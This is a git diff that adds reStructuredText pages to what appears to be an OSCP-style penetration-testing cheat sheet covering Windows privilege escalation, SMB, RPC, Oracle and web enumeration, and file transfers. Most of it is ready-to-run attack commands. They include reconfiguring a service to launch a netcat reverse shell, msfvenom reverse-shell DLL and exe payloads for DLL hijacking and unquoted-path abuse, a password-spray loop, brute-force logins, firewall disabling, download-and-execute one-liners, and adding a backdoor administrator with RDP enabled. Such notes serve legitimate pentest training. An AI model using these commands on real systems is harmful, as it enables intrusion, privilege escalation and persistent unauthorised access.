BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService + LOAD_ORDER_GROUP : + TAG : 0 + DISPLAY_NAME : Universal Plug and Play Device Host + DEPENDENCIES : SSDPSRV + SERVICE_START_NAME : NT AUTHORITY\LocalService + + C:\> sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" + [SC] ChangeServiceConfig SUCCESS + + C:\> sc config upnphost obj= ".\LocalSystem" password= "" + [SC] ChangeServiceConfig SUCCESS + + C:\> sc qc upnphost + + [SC] GetServiceConfig SUCCESS + + SERVICE_NAME: upnphost + TYPE : 20 WIN32_SHARE_PROCESS + START_TYPE : 3 DEMAND_START + ERROR_CONTROL : 1 NORMAL + BINARY_PATH_NAME : C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe + LOAD_ORDER_GROUP : + TAG : 0 + DISPLAY_NAME : Universal Plug and Play Device Host + DEPENDENCIES : SSDPSRV + SERVICE_START_NAME : LocalSystem + + C:\> net start upnphost + +Power Users +----------- + +On Windows XP and below, users in the "Power Users" group can easily elevate themselves to fully-privileged administrators. + +The following article describes some methods, but most are already covered if you have used accesschk.exe properly above: https://blogs.technet.microsoft.com/markrussinovich/2006/05/01/the-power-in-power-users/ + +DLL Hijacking +------------- + +Source: http://www.greyhathacker.net/?p=738 + +If an SYSTEM-level application / service references a DLL that we have write access to, we can replace it and get a SYSTEM-level shell. If the application / service references a DLL which doesn't exist, getting a SYSTEM-level shell may still be possible. + +Find executables and DLLs that are directly called by the application / service, and open them in a decompiler to find references to other DLLs. + +Generally a Windows application will use pre-defined search paths to find DLLs and it will check these paths in a specific order. DLL hijacking usually happens by placing a malicious DLL in one of these paths while making sure that DLL is found before the legitimate one. This problem can be mitigated by having the application specify absolute paths to the DLLs that it needs. + +You can see the DLL search order on 32-bit systems below: + +1. The directory from which the application loaded +2. 32-bit System directory (C:\\Windows\\System32) +3. 16-bit System directory (C:\\Windows\\System) +4. Windows directory (C:\\Windows) +5. The current working directory (CWD) +6. Directories in the PATH environment variable (system then user) + +Sometimes an application / service attempts to load a DLL which does not exist on the machine. In these cases, Windows will attempt to find it by traversing the search paths above. Putting a DLL in 1-4 is not possible, 5 would only work for applications and not Windows services. If a user has write access to any of the directories in the Windows PATH, escalation is possible. + +Check the current path: + +.. code-block:: none + + echo %path% + +Check access permissions with accesschk.exe or cacls: + +.. code-block:: none + + accesschk.exe /accepteula -dqv "C:\Python27" + + cacls "C:\Python27" + +Check status of vulnerable service. If the START_TYPE is set to AUTO_START it will launch on boot. + +.. code-block:: none + + sc qc IKEEXT + +Create a malicious DLL: + +.. code-block:: none + + msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=53 -f dll -o payload.dll + +Replace the original DLL with the malicious version and restart the application / service. + +Known Vulnerable Windows Services +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +.. csv-table:: **Windows 7 (32/64)** + :header: "Service", "DLL" + + "IKE and AuthIP IPsec Keying Modules (IKEEXT)", "wlbsctrl.dll" + "Windows Media Center Receiver Service (ehRecvr)", "ehETW.dll" + "Windows Media Center Scheduler Service (ehSched)", "ehETW.dll" + +The Windows Media Center Services startup type is set to manual and status not started and will only give us only Network service privileges so it may not be much use especially with its limited privileges. It can however be started temporarily via certain scheduled tasks: + +.. code-block:: none + + schtasks.exe /run /I /TN "\Microsoft\Windows\Media Center\mcupdate" + schtasks.exe /run /I /TN "\Microsoft\Windows\Media Center\MediaCenterRecoveryTask" + schtasks.exe /run /I /TN "\Microsoft\Windows\Media Center\ActivateWindowsSearch" + +.. csv-table:: **Windows XP** + :header: "Service", "DLL" + + "Automatic Updates (wuauserv)", "ifsproxy.dll" + "Remote Desktop Help Session Manager (RDSessMgr)", "SalemHook.dll" + "Remote Access Connection Manager (RasMan)", "ipbootp.dll" + "Windows Management Instrumentation (winmgmt)", "wbemcore.dll" + "Audio Service (STacSV)", "SFFXComm.dll, SFCOM.DLL" + "Intel(R) Rapid Storage Technology (IAStorDataMgrSvc)", "DriverSim.dll" + "Juniper Unified Network Service(JuniperAccessService)", "dsLogService.dll" + "Encase Enterprise Agent", "SDDisk.dll" + +Abusing unquoted ImagePath values that contain spaces +----------------------------------------------------- + +When SC starts a service, if the ImagePath contains a space then you can abuse a Windows feature which attempts to find an executable at every space location. + +Find a service that has an unquoted service path: + +.. code-block:: none + + reg query HKLM/system/currentcontrolset/services/SkypeUpdate + ... + ImagePath REG_EXPAND_SZ C:\Program Files (x86)\Skype\Updater.exe + ... + +When this service is started, Windows will walk the directory structure and attempt to execute an .exe at each space (C:\Program.exe, C:\Program Files.exe, etc.) + +Create a malicious .exe file: + +.. code-block:: none + + msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=53 -f exe -o Program.exe + +Move the .exe to C:\ and restart the service. + +.. code-block:: none + + copy Program.exe C:\Program.exe + sc stop SkypeUpdate + sc start SkypeUpdate + +Disable Windows Firewall +------------------------ + +.. code-block:: none + + netsh advfirewall set allprofiles state off + netsh firewall set opmode disable + +Sources +======= + +* http://www.fuzzysecurity.com/tutorials/16.html diff --git a/services/NetBIOS-SMB.rst b/services/NetBIOS-SMB.rst new file mode 100644 index 0000000..e833b05 --- /dev/null +++ b/services/NetBIOS-SMB.rst @@ -0,0 +1,73 @@ +############# +NetBIOS / SMB +############# + +Usually ports 139 / 445. + +**Lookup NetBIOS name for target** + +.. code-block:: none + + nmblookup -A + +**List Shares** + +Use the name identified by the previous command: + +.. code-block:: none + + smbclient -L \\ -I + +**Connect to a share** + +Use the share name identified by the previous command. + +.. code-block:: none + + smbclient /// -I + +**Download files** + +Once connected to a share: + +.. code-block:: none + + dir + get + +Use ? for full list of commands. + +**Download Files Recursively** + +Once connected to a share: + +.. code-block:: none + + mask "" + recurse ON + prompt OFF + cd 'path\to\remote\dir' + lcd '~/path/to/download/to/' + mget * + +One-liner: + +.. code-block:: none + + smbclient /// -I -c 'mark "";prompt OFF;recurse ON;cd "path\to\remote\dir";lcd "~/path/to/download/to/";mget *' + +Alternative: + +.. code-block:: none + + tarmode + recurse + prompt + mget foldertocopy + +**Mount SMB share using anonymous account** + +.. code-block:: bash + + apt-get install cifsutil + mount -t cifs -vvv -o username=guest,vers=1.0,uid=0 "///" diff --git a/services/RPC.rst b/services/RPC.rst new file mode 100644 index 0000000..f142c8e --- /dev/null +++ b/services/RPC.rst @@ -0,0 +1,90 @@ +### +RPC +### + +**Connect to RPC server with an anonymous bind:** + +.. code-block:: none + + $ rpcclient -U "" -N + +**Enumerate Domain Users** + +.. code-block:: none + + rpcclient $> enumdomusers + user: [Administrator] rid:[0x1f4] + ... + +**Enumerate Domain Groups** + +.. code-block:: none + + rpcclient $> enumdomgroups + group: [Domain Admins] rid:[0x200] + ... + +**Query Group Information** + +.. code-block:: none + + rpcclient $> querygroup 0x200 + Group Name: Domain Admins + ... + +**Query Group Membership** + +.. code-block:: none + + rpcclient $> querygroupmem 0x200 + rid:[0x1f4] attr:[0x7] + ... + +**Query Specific User Information by RID** + +.. code-block:: none + + rpcclient $> queryuser 0x1f4 + User name : Administrator + ... + +**Get Domain Password Info** + +.. code-block:: none + + rpcclient $> getdompwinfo + min_password_length: 11 + password_properties: 0x00000000 + +**Get Domain User Password Info** + +.. code-block:: none + + rpcclient $> getusrdompwinfo 0x1f4 + min_password_length: 11 + &info.password_properties: 0x4b58bb34 (1264106292) + ... + +Password Spray Attack +===================== + +The following script will iterate over usernames and passwords and try to execute "getusername". Watch out for "ACCOUNT_LOCKED" error messages. + +.. code-block:: bash + + TARGET=10.10.10.10; + while read username; do + while read password; do + echo -n "[*] user: $username" && rpcclient -U "$username%$password" -c "getusername;quit" $TARGET | grep -v "NT_STATUS_ACCESS_DENIED"; + done < /path/to/passwords.txt + done < /path/to/usernames.txt + +If a password is found, use it with smbclient to explore the SYSVOL: + +.. code-block:: none + + $ smbclient -U "username%password" \\\\\\SYSVOL + Domain=[HOME] OS=[Windows Server 2008] + ... + smb: \> ls + ... diff --git a/services/kerberos.rst b/services/kerberos.rst new file mode 100644 index 0000000..90095a7 --- /dev/null +++ b/services/kerberos.rst @@ -0,0 +1,5 @@ +######## +Kerberos +######## + +* https://blog.xpnsec.com/kerberos-attacks-part-1/ diff --git a/services/ldap.rst b/services/ldap.rst new file mode 100644 index 0000000..d9921df --- /dev/null +++ b/services/ldap.rst @@ -0,0 +1,5 @@ +#### +LDAP +#### + +* https://access.redhat.com/documentation/en-US/Red_Hat_Directory_Server/8.2/html/Administration_Guide/Examples-of-common-ldapsearches.html diff --git a/services/oracle.rst b/services/oracle.rst new file mode 100644 index 0000000..f2001f7 --- /dev/null +++ b/services/oracle.rst @@ -0,0 +1,63 @@ +###### +Oracle +###### + +* https://github.com/quentinhardy/odat/wiki/all + +Firstly, follow this guide to get Oracle tools working in Kali: https://github.com/rapid7/metasploit-framework/wiki/How-to-get-Oracle-Support-working-with-Kali-Linux + +Bruteforce SIDs +=============== + +With Nmap: + +.. code-block:: none + + nmap -vv -Pn -p -sV --script oracle-sid-brute + +With `ODAT `__: + +.. code-block:: none + + python odat.py sidguesser -s -p + +Bruteforce Logins +================= + +With `ODAT `__: + +.. code-block:: none + + python odat.py passwordguesser -s -p -d --accounts-file accounts/accounts_multiple.txt + +With patator: + +.. code-block:: none + + patator oracle_login host= port= sid= user=COMBO00 password=COMBO01 0=/usr/share/seclists/Passwords/Default-Credentials/oracle-betterdefaultpasslist.txt -x ignore:code=ORA-01017 -x ignore:code=ORA-28000 + +Download Files +============== + +With `ODAT `__ there are several ways to download a file. Note that "--sysdba" may be optional depending on permissions. + +ctxsys +------ + +.. code-block:: none + + python odat.py ctxsys -s -p -d -U -P --sysdba --getFile "/full/path/to/file" + +externaltable +------------- + +.. code-block:: none + + python odat.py externaltable -s -p -d -U -P --sysdba --getFile "/path/to" "file.txt" "local-file.txt" + +utlfile +------- + +.. code-block:: none + + python odat.py utlfile -s -p -d -U -P --sysdba --getFile "/path/to" "file.txt" "local-file.txt" diff --git a/services/overview.rst b/services/overview.rst new file mode 100644 index 0000000..e4ee1dc --- /dev/null +++ b/services/overview.rst @@ -0,0 +1,61 @@ +#################### +Enumeration Overview +#################### + +* https://github.com/DigitalAftermath/EnumerationVisualized/wiki + +Port Scanning +============= + +reconnoitre +----------- + +The following command will launch various nmap scans against the target host(s), create a helpful directory structure for tracking results, and offer suggestions for further enumeration. + +.. code-block:: none + + reconnoitre -t -o --services + +nmap +---- + +The following command will launch a full TCP port scan, with full version / OS detection and script scanning. + +.. code-block:: none + + nmap -vv -Pn -sS -A -sC -p 0-65535 -T4 --osscan-guess --version-all --script-args=unsafe=1 -oA + + +The following command will launch a UDP port scan of the top 200 UDP ports, with full version detection and script scanning. + +.. code-block:: none + + nmap -vv -Pn -sC -sV -sU -T4 --top-ports 200 --version-all --max-retries 1 -oA + +For slow hosts, use limited version scanning: + +.. code-block:: none + + nmap -vv -Pn -sC -sV -sU -T4 --top-ports 200 --version-light --max-retries 1 -oA + + +Useful Commands +--------------- + +Quickly extract port scan results + service names from nmap scans: + +.. code-block:: none + + grep -Eh "^[0-9]+/(tcp|udp)" *.nmap | sort -un + +Enumerate SMB/samba version and OS info: + +.. code-block:: none + + nmap -Pn -sV -p 445,139 --script=smb-os-discovery + +Run commands against a Windows box that is running MSSQL (credentials + xp_cmdshell required): + +.. code-block:: none + + nmap -Pn -sV -p --script=ms-sql-xp-cmdshell --script-args=mssql.username=,mssql.password=,ms-sql-xp-cmdshell.cmd= diff --git a/todo.rst b/todo.rst new file mode 100644 index 0000000..602fbdb --- /dev/null +++ b/todo.rst @@ -0,0 +1,7 @@ +#### +TODO +#### + +Resources which are pretty general and therefore need to be integrated into multiple pages: + +* https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html#tips-to-participate-in-the-proctored-oscp-exam diff --git a/useful-links.rst b/useful-links.rst new file mode 100644 index 0000000..e2783c9 --- /dev/null +++ b/useful-links.rst @@ -0,0 +1,23 @@ +############ +Useful Links +############ + +OSCP Preparation / Guides +========================= + +* http://niiconsulting.com/checkmate/2017/06/a-detail-guide-on-oscp-preparation-from-newbie-to-oscp/ +* https://github.com/burntmybagel/OSCP-Prep +* https://www.abatchy.com/2017/03/how-to-prepare-for-pwkoscp-noob +* https://medium.com/@hakluke/haklukes-ultimate-oscp-guide-part-1-is-oscp-for-you-b57cbcce7440 +* https://h4ck.co/oscp-journey-exam-lab-prep-tips/ +* https://blog.acheremisov.com/2018/01/oscp-guide-where-to-start-what-to-read-how-to-practice/ +* https://github.com/swisskyrepo/PayloadsAllTheThings +* https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html +* https://github.com/xMilkPowderx/OSCP +* https://hausec.com/pentesting-cheatsheet/ + +Misc +==== + +* https://github.com/qazbnm456/awesome-security-trivia +* https://github.com/qazbnm456/awesome-web-security diff --git a/web-applications/file-inclusion.rst b/web-applications/file-inclusion.rst new file mode 100644 index 0000000..ef83620 --- /dev/null +++ b/web-applications/file-inclusion.rst @@ -0,0 +1,6 @@ +############## +File Inclusion +############## + +* https://github.com/qazbnm456/awesome-security-trivia/blob/master/Tricky-ways-to-exploit-PHP-Local-File-Inclusion.md +* https://highon.coffee/blog/lfi-cheat-sheet/ diff --git a/web-applications/index.rst b/web-applications/index.rst new file mode 100644 index 0000000..274f865 --- /dev/null +++ b/web-applications/index.rst @@ -0,0 +1,59 @@ +################ +Web Applications +################ + +* http://www.vulnerablewebapps.org/ +* https://docs.google.com/document/d/101EsKlu41ICdeE7mEv189SS8wMtcdXfRtua0ClYjP1M/edit +* https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md +* https://jumpespjump.blogspot.com/2014/03/attacking-adobe-coldfusion.html +* https://medium.com/bugbountywriteup/sql-injection-with-load-file-and-into-outfile-c62f7d92c4e2 +* https://github.com/dzonerzy/goWAPT +* https://www.rapid7.com/research/report/exploiting-jsos/ +* https://github.com/qazbnm456/awesome-web-security + +Enumeration +=========== + +* Run nikto, dirsearch, etc. +* Proxy application in Burp. Add application to scope and run Burp Spider (often discovers "hidden" URLs from source code, etc.) +* Do directory traversal (e.g. if /path/to/file.js exists, visit /path/to and /path as well) + +Fuzzing +======= + +wfuzz +----- + +**Generic** + +Use wfuzz with some generic payloads to determine "standard" response attributes (e.g. code, length, number of words, number of lines, etc.) + +.. code-block:: none + + wfuzz -c -u 'http://10.0.0.1/path/to/login.php' -d 'username=FUZZ{username}&password=password&login-php-submit-button=Login' -z range,1-10 + +**SQL Injection** + +For login bypass, we want to flag non-200 response codes, and responses which don't contain the login errors. Note that due to some bash weirdness, you need to get creative with the filter value: + +.. code-block:: none + + wfuzz -c -u 'http://10.0.0.1/path/to/login.php' -d 'username=FUZZ{username}&password=password&login-php-submit-button=Login' -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt,urlencode --filter="code != 200 or content "\!"~ 'Account does not exist' or content "\!"~ 'Password incorrect'" + +For regular SQL injection, we likely want to flag responses which don't include specific error messages + +.. code-block:: none + + wfuzz -c -u 'http://192.168.1.76/mutillidae/index.php?page=user-info.php&username=FUZZ{test}&password=&user-info-php-submit-button=View+Account+Details' -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt,urlencode --filter="content "\!"~ 'SQL Syntax' and content "\!"~ '0 records found'" + +**Command Injection** + +.. code-block:: none + + wfuzz -c -u 'http://192.168.1.76/mutillidae/index.php?page=dns-lookup.php&target_host=FUZZ{test}' -z file,fuzzdb/attack/os-cmd-execution/command-execution-unix.txt,urlencode --filter="content ~ 'uid='" + +**LFI** + +.. code-block:: none + + wfuzz -c -u 'http://192.168.1.76/mutillidae/index.php?page=FUZZ{arbitrary-file-inclusion.php}' -z file,/usr/share/wordlists/wfuzz/Injections/Traversal.txt,urlencode --filter "lines != 1008" diff --git a/windows/active-directory.rst b/windows/active-directory.rst new file mode 100644 index 0000000..a1de837 --- /dev/null +++ b/windows/active-directory.rst @@ -0,0 +1,6 @@ +################ +Active Directory +################ + +* https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/ +* https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/ diff --git a/windows/blind-files.rst b/windows/blind-files.rst new file mode 100644 index 0000000..883e51e --- /dev/null +++ b/windows/blind-files.rst @@ -0,0 +1,12 @@ +=========== +Blind Files +=========== + +* http://pwnwiki.io/#!presence/windows/blind.md + +**Version Information** + +.. code-block:: none + + C:\Windows\System32\license.rtf + C:\Windows\System32\eula.txt diff --git a/windows/file-transfers.rst b/windows/file-transfers.rst new file mode 100644 index 0000000..81132a7 --- /dev/null +++ b/windows/file-transfers.rst @@ -0,0 +1,291 @@ +############## +File Transfers +############## + +Netcat +====== + +Transferring from Kali to Windows +--------------------------------- + +On Kali run: + +.. code-block:: bash + + nc -nvlp 4444 < /path/to/file.exe + +On Windows run: + +.. code-block:: none + + nc.exe -nv 10.0.0.1 4444 > file.exe + +Transferring from Windows to Kali +--------------------------------- + +On Kali run: + +.. code-block:: bash + + nc -nvlp 4444 > /path/to/file.exe + +On Windows run: + +.. code-block:: none + + nc.exe -nv 10.0.0.1 4444 < file.exe + +FTP +=== + +We can use python to create a quick FTP server. Install the following package: + +.. code-block:: bash + + apt install python3-pyftpdlib + +The ftp command on Windows is interactive by default. The :code:`-s` command line option can be used in conjunction with a text file that contains FTP commands to get around this limitation. + +Transferring from Kali to Windows +--------------------------------- + +Start the FTP server on Kali: + +.. code-block:: bash + + python3 -m pyftpdlib -p 21 + + OR + + python -m pyftpdlib -p 21 + +On Windows, create a text file with the commands you wish to use: + +.. code-block:: none + + echo open 192.168.1.78 > ftp.txt + echo binary >> ftp.txt + echo get test.txt >> ftp.txt + echo bye >> ftp.txt + +You can then execute the commands in the file with the following command: + +.. code-block:: none + + ftp -A -s:ftp.txt + +Note the :code:`-A` command line option, which performs an anonymous login. + +Transferring from Windows to Kali +--------------------------------- + +Start the FTP server on Kali with write permissions (note: this is dangerous as we are using anonymous logins): + +.. code-block:: bash + + python3 -m pyftpdlib -p 21 -w + + OR + + python -m pyftpdlib -p 21 -w + +On Windows, create a text file with the commands you wish to use: + +.. code-block:: none + + echo open 192.168.1.78 > ftp.txt + echo binary >> ftp.txt + echo put test.txt >> ftp.txt + echo bye >> ftp.txt + +You can then execute the commands in the file with the following command: + +.. code-block:: none + + ftp -A -s:ftp.txt + +Note the :code:`-A` command line option, which performs an anonymous login. + +TFTP +==== + +TFTP is installed by default on Windows XP. It may not be installed on other versions of Windows. Sometimes it can be enabled on the command line: + +.. code-block:: none + + pkgmgr /iu:"TFTP" + +On Kali install a TFTP server: + +.. code-block:: bash + + apt install atftpd + +Create a dedicated tftp directory and change the ownership: + +.. code-block:: bash + + mkdir /tftp + chown nobody:nogroup /tftp + +Run the TFTP server: + +.. code-block:: bash + + atftpd --daemon --no-fork /tftp/ + +Transferring from Kali to Windows +--------------------------------- + +.. code-block:: none + + tftp -i 10.0.0.1 GET file.exe + +Transferring from Windows to Kali +--------------------------------- + +.. code-block:: none + + tftp -i 10.0.0.1 PUT file.exe + +SMB +=== + +Kali has an SMB server python script courtesy of Impacket. + +Run the server on Kali: + +.. code-block:: bash + + python /usr/share/doc/python-impacket/examples/smbserver.py kali /path/to/directory + +On Windows, check that the share can be seen: + +.. code-block:: none + + net view \\10.0.0.1 + Shared resources at \\10.0.0.1 + + (null) + + Share name Type Used as Comment + + ----------------------------------- + KALI Disk + The command completed successfully. + +Regular filesystem commands should all work, and files can be copied to and from the share: + +.. code-block:: none + + dir \\10.0.0.1\kali + copy \\10.0.0.1\kali\file.exe C:\Windows\Temp\file.exe + copy C:\Windows\Temp\file.exe \\10.0.0.1\kali\file.exe + +HTTP +==== + +We can use python to create a quick HTTP server: + +.. code-block:: bash + + python3 -m http.server 4444 + + OR + + python -m SimpleHTTPServer 4444 + +CertUtil +-------- + +certutil.exe is available on more modern versions of Windows. + +.. code-block:: none + + certutil.exe -urlcache -split -f http://10.0.0.1:4444/file.exe C:\Windows\Temp\file.exe + +BITSAdmin +--------- + +.. code-block:: none + + bitsadmin /transfer myDownloadJob /download /priority normal http://10.0.0.1:4444/file.exe C:\Windows\Temp\file.exe + + +PowerShell Script +----------------- + +.. code-block:: none + + powershell.exe -c "(new-object System.Net.WebClient).DownloadFile('http://10.0.0.1:4444/file.exe','C:\Windows\Temp\file.exe')" + +Can also be dumped into a script: + +.. code-block:: none + + echo $webclient = New-Object System.Net.WebClient > wget.ps1 + echo $url = "http://10.0.0.1:4444/file.exe" >> wget.ps1 + echo $output = "C:\Windows\Temp\file.exe" >> wget.ps1 + echo $webclient.DownloadFile($url,$output) >> wget.ps1 + +Run with: + +.. code-block:: none + + powershell wget.ps1 + +VBS Script +---------- + +.. code-block:: none + + strFileURL = "http://10.0.0.1:4444/file.exe" + strHDLocation = "C:\Windows\Temp\file.exe" + Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") + objXMLHTTP.open "GET", strFileURL, false + objXMLHTTP.send() + If objXMLHTTP.Status = 200 Then + Set objADOStream = CreateObject("ADODB.Stream") + objADOStream.Open + objADOStream.Type = 1 'adTypeBinary + objADOStream.Write objXMLHTTP.ResponseBody + objADOStream.Position = 0 + Set objFSO = CreateObject("Scripting.FileSystemObject") + If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation + Set objFSO = Nothing + objADOStream.SaveToFile strHDLocation + objADOStream.Close + Set objADOStream = Nothing + End if + Set objXMLHTTP = Nothing + +As a series of echo statements: + +.. code-block:: none + + echo strFileURL = "http://10.0.0.1:4444/file.exe" >> downloadfile.vbs + echo strHDLocation = "C:\Windows\Temp\file.exe" >> downloadfile.vbs + echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") >> downloadfile.vbs + echo objXMLHTTP.open "GET", strFileURL, false >> downloadfile.vbs + echo objXMLHTTP.send() >> downloadfile.vbs + echo If objXMLHTTP.Status = 200 Then >> downloadfile.vbs + echo Set objADOStream = CreateObject("ADODB.Stream") >> downloadfile.vbs + echo objADOStream.Open >> downloadfile.vbs + echo objADOStream.Type = 1 'adTypeBinary >> downloadfile.vbs + echo objADOStream.Write objXMLHTTP.ResponseBody >> downloadfile.vbs + echo objADOStream.Position = 0 >> downloadfile.vbs + echo Set objFSO = CreateObject("Scripting.FileSystemObject") >> downloadfile.vbs + echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation >> downloadfile.vbs + echo Set objFSO = Nothing >> downloadfile.vbs + echo objADOStream.SaveToFile strHDLocation >> downloadfile.vbs + echo objADOStream.Close >> downloadfile.vbs + echo Set objADOStream = Nothing >> downloadfile.vbs + echo End if >> downloadfile.vbs + echo Set objXMLHTTP = Nothing >> downloadfile.vbs + echo "" + +Run with the following command: + +.. code-block:: none + + cscript downloadfile.vbs diff --git a/windows/hashes.rst b/windows/hashes.rst new file mode 100644 index 0000000..b549ae1 --- /dev/null +++ b/windows/hashes.rst @@ -0,0 +1,5 @@ +############## +Windows Hashes +############## + +* https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/ diff --git a/windows/mingw.rst b/windows/mingw.rst new file mode 100644 index 0000000..0f9b01a --- /dev/null +++ b/windows/mingw.rst @@ -0,0 +1,19 @@ +##### +mingw +##### + +Compile 64 bit: + +.. code-block:: bash + + x86_64-w64-mingw32-gcc (C) + x86_64-w64-mingw32-g++ (C++) + +Compile 32 bit: + +.. code-block:: bash + + i686-w64-mingw32-gcc (C) + i686-w64-mingw32-g++ (C++) + +Note: in some cases the compiler flag -lws2_32 needs to be included in the command. diff --git a/windows/powershell.rst b/windows/powershell.rst new file mode 100644 index 0000000..5f372de --- /dev/null +++ b/windows/powershell.rst @@ -0,0 +1,44 @@ +########## +PowerShell +########## + +Check Version +============= + +If the following command doesn't work, assume it's powershell 1.0. + +.. code-block:: none + + powershell -Command "$PSVersionTable.PSVersion" + +Downloading Files +================= + +In PowerShell 2.x: + +.. code-block:: none + + powershell -Command '$WebClient = New-Object System.Net.WebClient;$WebClient.DownloadFile("http://10.0.0.1/path/to/file","C:\path\to\file")' + +In PowerShell 3 and above: + +.. code-block:: none + + powershell -Command 'Invoke-WebRequest -Uri "http://10.0.0.1/path/to/file" -OutFile "C:\path\to\file"' + +Running a Powershell Script From Command Line +============================================= + +.. code-block:: none + + powershell IEX(New-Object Net.Webclient).downloadstring('http://:/script.ps1') + +.. code-block:: none + + powershell -noexit -file "C:\path\to\script.ps1" + +To bypass execution policy: + +.. code-block:: none + + powershell -executionPolicy bypass -noexit -file "C:\path\to\script.ps1" diff --git a/windows/useful-commands.rst b/windows/useful-commands.rst new file mode 100644 index 0000000..6efd3cc --- /dev/null +++ b/windows/useful-commands.rst @@ -0,0 +1,41 @@ +############### +Useful Commands +############### + +* https://www.winpcap.org/windump/default.htm +* https://www.microolap.com/products/network/tcpdump/ + +Run Executable in Background +============================ + +.. code-block:: none + + start /B program + +Disable/Enable Group Policy +=========================== + +Disable: + +.. code-block:: none + + REG add "HKCU\Software\Policies\Microsoft\MMC{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}" /v Restrict_Run /t REG_DWORD /d 1 /f + +Enable: + +.. code-block:: none + + REG add "HKCU\Software\Policies\Microsoft\MMC{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}" /v Restrict_Run /0 REG_DWORD /d 1 /f + +Add Admin & Enable RDP +====================== + +.. code-block:: none + + net user /add hacked Password1 + net localgroup administrators hacked /add + net localgroup Administrateurs hacked /add (For French target) + net localgroup "Remote Desktop Users" hacked /add + reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f + reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f + netsh firewall set service type = REMOTEDESKTOP mode = ENABLE scope = CUSTOM addresses = 10.0.0.1